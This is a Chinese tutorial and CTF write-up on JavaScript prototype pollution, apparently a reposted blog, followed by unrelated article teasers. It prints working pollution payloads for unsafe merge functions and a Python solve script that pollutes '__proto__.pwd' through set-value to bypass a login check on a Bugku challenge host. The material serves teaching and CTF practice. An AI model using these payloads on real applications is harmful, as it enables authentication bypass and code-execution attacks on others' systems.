渗透攻击漏洞——原型链污染

news2024/9/25 11:19:20

背景

2019年初,Snyk的安全研究人员披露了流行的JavaScript库Lodash中一个严重漏洞的详细信息,该漏洞使黑客能够攻击多个Web应用程序,这个安全漏洞就是一个“原型污染漏洞”(JavaScript Prototype Pollution),攻击者可以利用该漏洞利用JavaScript编程语言的规则并以各种方式破坏应用程序。

原型与原型链

Javascript中一切皆是对象, 其中对象之间是存在共同和差异的,比如对象的最终原型是Object的原型null,函数对象有prototype属性,但是实例对象没有。

  • 原型的定义:

    原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

    (1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

    (2)所有函数拥有prototype属性(显式原型)(仅限函数)

  • 原型链的定义:

    原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

  • 原型对象:

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

  1. 实例对象:

    我们可以通过构造函数A创建一个实例对象A,A默认会有一个属性__proto__指向了构造函数A的原型对象B。

  2. 关系

    function Foo(){};
    undefined
    let foo = new Foo();
    undefined
    Foo.prototype == foo.__proto__
    true

    总结:

    1.prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
    2.一个对象的__proto__属性,指向这个对象所在的类的prototype属性

3、原型链机制

回顾一下构造函数、原型和实例的关系:

每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。——摘自《javascript高级程序设计》

感觉理解起来有点绕,不过引用图片可以很好理解。

这里person实例对象,Person.prototype是原型,原型通过__proto__访问原型对象,实例对象继承的就是原型及其原型对象的属性。

继承的查找过程:

  调用对象属性时, 会查找属性,如果本身没有,则会去__proto__中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__,那么会去__proto__的显式原型中查找,一直到null(很好说明了原型才是继承的基础)

原型链污染机制

javascript是种动态继承。与java两者的继承方式机制可以说完全不一样的,一个java是基于对象来继承, 一个javascript是基于原型来继承

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性

对于对象son,在调用last_name的时候,JavaScript引擎会进行的操作如下:

在对象son中寻找last_name
如果找不到,就到son.__proto__中寻找last_name
还找不到,就到son.__proto__.__proto__中寻找last_name
就这样一直往上找,一直找到null宣告结束。比如,Object.prototype的__proto__就是null

我们修改下代码:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
son.__proto__['add_name'] = 'hehehe'
let son1 = new Son();
console.log(`son Name: ${son.add_name} `)
console.log(`son1 Name: ${son1.add_name} `)

发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1,同理

当我们修改上层的原型的时候,底层的实例会发生动态继承从而产生一些修改。

我们真正修改的其实是原型prototype

原型链污染(利用手段)

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。

foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,就可以修改Foo类。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

控制对象的 __proto__ ,即可影响该实例的父类,那么要如何控制 __proto__ 呢?

JS中针对对象的复制分为浅拷贝和深拷贝,简单来说:

浅拷贝 只是将指向对象的指针复制了过去,不论如何拷贝,这些拷贝都指向同一个引用,一旦被修改,所有引用都会变化;

深拷贝 则是要将目标对象完完全全的“克隆”一份,占据自己的内存空间。

实现深拷贝,一种常见的方式是:递归遍历需要复制对象的所有属性,并且全部赋值给新的空对象,实际上创建了一个新的对象。而浅拷贝就是引用。
 

原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。

我们先了解下什么情况下容易发生原型链污染

存在可控的对象键值

1.常发生在merge 等对象递归合并操作

2.对象克隆

3.路径查找属性然后修改属性的时候

这里做一个举例

  • 对象merge
  • 对象clone

以对象merge为例子,我们想象一个简单的merge函数

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢? 

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

//1 2

//undefined

虽然合并在了一起,但是并没一被污染。因为我们用JavaScript创建o2的过程(let o2 = {a: 1, “__proto__”: {b: 2}})当中,__proto__被认为是o2本对象的原型,此时又会遍历o2的所有键名,拿到的是a和b两个键,__proto__并不是一个key,自然也不会修改Object的原型(我们自己创建的对象都是以Object为原型创建来的)

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

//1 2
//2

此时利用JSON.parse方法,这个方法可以将JSON字符串解析为值或对象。所以在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

这样的话__proto__才会被当作一个JSON格式的字符串被解析成键值,而不是上面之间被解析成了一个属性值。

再看个demo

上面那个是通过__proto__来实现漏洞,还有另一种方式:重载构造函数

当我们将constructor和prototype嵌套作为键名的时候

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
let o1 = JSON.parse('{"constructor": {"prototype": {"hello": 1}}}')
merge({},o1)

let o2 = {}
console.log(o2.hello)
 

//1

实例 constructor 的 prototype ,和实例的__proto__指向一致。由于 merge 操作的解析是递归的,这种方式同样也会污染 Object

例题:Bugku-sodirty

打开题目后仅有一个注册按键,点击后显示创建成功。
扫描网站,扫出一个www.zip文件

发现有网站的源码下载下来看看

var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
    "password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});

module.exports = router;

对应网页有着不同功能,有一个登陆的路由/getflag,/reg能够默认创建一个字典,/update能够修改新的数据,/getflag是取得flag的地方。

如果要进行修改,需要:

首先要有req.session.challenger 
用attrkey,attrval以post的形式传参,传参的结果以键值对的形式存在。

如果要取得flag,需要:

post传参
修改password
age参数小于79
admin中存在完好键值对

在满足其他条件的同时,使用原型链污染,让Object对象有一个属性,这样就可以利用那个属性进行登录。

所以我们先在路由:"/reg"注册一个用户

这里创建的用户默认age=80,需要修改

然后利用路由:“/update”,去修改我们的信息,去把年龄修改为小于79岁,并且利用原型链把admin的密码和我们注册的用户的密码修改成一样:

先修改age:

修改密码和admin一致:

然后登陆获取flag:

或者直接用脚本

import requests
import random

s = requests.session()  # 保持会话


def reg(url):
    url = url + "reg"
    r = s.get(url)
    print(r.text)


def update(url, data):
    url = url + "update"
    print(url)
    r = s.post(url, data=data)
    print(r.text)


def getflag(url, data):
    url = url + "getflag"
    r = s.post(url, data=data)
    print(r.text)


url = "http://114.67.175.224:11990/"
reg(url) #先取得req.session.changer
data = {"attrkey": "age", "attrval": "30"}
update(url, data) #post对年龄进行更新
data = {"attrkey": "__proto__.pwd", "attrval": "222"}
update(url, data) # 原型链污染,Object有了这样一个属性
data = {"password": "222", "key": "pwd"}
getflag(url, data) # 利用污染的进行登录

参考博客:

浅析javascript原型链污染攻击 - 先知社区 (aliyun.com)

 深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

渗透攻击漏洞之——原型链污染-CSDN博客

【精选】Javascript Prototype污染攻击(原型链污染,Bugku-web-sodirty wp)_prototype pollution in json5 via parse method-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1131069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浅谈 MySQL 主从复制,优点?原理?

目录 1. 主从复制概述 2. 主从复制有什么优点&#xff1f; 3. 主从复制的原理 4. 数据一致性问题 4.1 同步复制 4.2 异步复制 4.3 半同步复制 1. 主从复制概述 既然是主从复制&#xff0c;那么至少就应该有两台服务器&#xff0c;一台作为主库(Master)&#xff0c;一台…

串口调试助手 WIN11 应用商店工具 界面美观 功能丰富

串口调试助手 win11 应用商店自带的工具&#xff0c;我用过最好用的串口调试助手。 功能以及特性 界面简洁美观;高速接收稳定、流畅、不卡顿、不丢数据;支持字符串和十六进制两种显示方式;可以正确显示中文字符;支持多种波特率&#xff0c;同时支持自定义波特率;自动断帧&am…

【Axure视频教程】曲线图

今天教大家在Axure制作可视化曲线图的原型模板&#xff0c;鼠标移入曲线图后&#xff0c;会显示弹窗并回显对应折点的具体数据&#xff0c;该模板是用Axure原生元件制作的&#xff0c;所以使用方便&#xff0c;可以任意修改对应样式或者交互效果。该原型模板的具体效果可以参考…

win10通过命令修改系统只读文件

通过命令cmd:C:\Windows\System32\drivers\etc>notepad hosts

C语言程序设计——题目:判断 101 到 200 之间的素数。

题目&#xff1a;判断 101 到 200 之间的素数。 程序分析&#xff1a;判断素数的方法&#xff1a;用一个数分别去除 2 到 sqrt(这个数)&#xff0c;如果能被整除&#xff0c;则表明此数不是素数&#xff0c;反之是素数。 #include<stdio.h> int main() {int n,i,j,a0;f…

C语言程序设计——题目:要求输出国际象棋棋盘。

题目&#xff1a;要求输出国际象棋棋盘。 程序分析&#xff1a;国际象棋棋盘由64个黑白相间的格子组成&#xff0c;分为8行*8列。用i控制行&#xff0c;j来控制列&#xff0c;根据ij的和的变化来控制输出黑方格&#xff0c;还是白方格。 如果出现乱码情况请参考本博客【C 练习…

2023最新视频号下载工具

经常有朋友问我怎么下载微信视频号的视频&#xff1f;这几天终于被我发现了一个神器&#xff0c;只需要简单将视频转发过去&#xff0c;就能下载保存&#xff0c;我已经替大家试验过了&#xff0c;基本都能下载成功&#xff0c;而且不光是视频号&#xff0c;dou音等一些其他平台…

以编程方式拟合

目录 适用于多项式模型的 MATLAB 函数 带非多项式项的线性模型 多次回归 适用于多项式模型的 MATLAB 函数 有两个 MATLAB 函数可通过多项式对数据建模。 多项式拟合函数 函数 说明 polyfit polyfit(x,y,n) 通过最大限度地减小数据与模型偏差的平方和&#xff08;最小二乘…

可视化图表统计的好处

可视化图表统计是将数据以图形的方式呈现&#xff0c;通过视觉化的方式帮助人们更好地理解和分析数据。下面是一个详细介绍可视化图表统计的好处&#xff1a; 1. 提供清晰的信息传递&#xff1a; - 可视化图表能够将大量的数据和复杂的信息转化为易于理解和消化的形式。 - 图表…

监测难?误差大?北斗突破铁路监测预警难题,24小时全方位守护

受极端气象和复杂地形地质条件的影响&#xff0c;近年来铁路沿线地质灾害易发频发。为防范化解重大安全风险&#xff0c;提高自然灾害防治能力&#xff0c;国务院决策部署制定了《关于加强铁路自然灾害监测预警工作的指导意见》&#xff0c;强调了利用先进技术和手段开展各类自…

定义USB接口,鼠标类和键盘类都可以作为实现类去实现USB接口

目录 程序设计 程序分析 系列文章 ​ 如图所示,我们电脑上都有USB接口,当我们的鼠标和键盘插上去之后才可以使用,拔出来就关闭使用。其实具体是什么USB设备,笔记本并不关心,只要符合USB规格的设备都可以。鼠标和键盘要想能在电脑上使用,那么鼠标和键盘也必须遵守USB规范…

URL endoce 和 decode

URL地址中的一些字符在传输过程中需要被编码&#xff0c;以确保其能够正确地被解析和显示。在URL中&#xff0c;所有非字母数字字符都需要被编码成%后面跟着两个十六进制数的形式。 URL的编码过程被称为"URL编码"或"百分号编码"&#xff0c;常见的编码字符…

Linux音频-基本概念

文章目录 机器声音的采集原理机器声音的播放原理音频相关基本概念计算机采集音频的模型Linux系统音频框架Linux音频框架的三类角色 Linux音频框架参考文章&#xff1a;Linux音频框架 机器声音的采集原理 声音是一种连续的信号&#xff0c;故其是一种模拟量。 录音设备可以捕获…

ubuntu安装配置mantis

目录 前言安装Apache2安装PHP安装数据库mariadbmariadb安装MariaDB重置密码为MantisBT创建数据库和用户 phpmyadmin安装和配置安装phpmyadmin查看安装内容配置phpmyadmin1.phpmyadmin apache配置文件2.为phpmyadmin创建数据库和用户3.修改配置文件config-db.php4.重新运行 管理…

【python海洋专题二十九】读取CTD文件数据并画单点温度剖面图

往期推荐 图片 【python海洋专题一】查看数据nc文件的属性并输出属性到txt文件 【python海洋专题二】读取水深nc文件并水深地形图 【python海洋专题三】图像修饰之画布和坐标轴 【Python海洋专题四】之水深地图图像修饰 【Python海洋专题五】之水深地形图海岸填充 【Pytho…

智能振弦传感器的读取工具——振弦采集仪

智能振弦传感器的读取工具——振弦采集仪 为了解决振弦传感器间接测量物理量时繁琐的问题&#xff0c;我们结合微处理器和振弦传感器信号电路&#xff0c;开发出了智能振弦模块。该模块具有通信、信息存储、温度测量和传感器信号传递等功能&#xff0c;可以嵌入传统振弦传感器…

asp.net急救资源管理信息系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net 急救资源管理信息系统是一套完善的web设计管理系统&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为vs2010&#xff0c;数据库为sqlserver2008&#xff0c;使用c# 语言开发 asp.net急救资源管理信息系统…

微信小程序开发-01-入门

文章目录 一、微信开发者工具介绍基础文件介绍具体文件介绍JSON配置文件的作用wxmlwxssjs 二、宿主环境介绍通信模型运行机制组件视图容器基础内容其他常用组件 API 三、操作流程基本操作流程新建小程序页面 修改项目首页后续 四、协同工作和发布权限管理需求项目成员的组织结构…

Go语言入门心法(十四): Go操作Redis实战

Go语言入门心法(一): 基础语法 Go语言入门心法(二): 结构体 Go语言入门心法(三): 接口 Go语言入门心法(四): 异常体系 Go语言入门心法(五): 函数 Go语言入门心法(六): HTTP面向客户端|服务端编程 Go语言入门心法(七): 并发与通道 Go语言入门心法(八): mysql驱动安装报错o…

成都瀚网科技有限公司抖音小店:创新营销引领电商潮流

在当今数字化时代&#xff0c;抖音作为一款备受欢迎的短视频平台&#xff0c;不仅吸引了大量用户的关注&#xff0c;还为众多电商企业提供了新的销售渠道。成都瀚网科技有限公司抖音小店便是其中之一&#xff0c;凭借其独特的营销策略和优质的产品&#xff0c;成为了抖音电商领…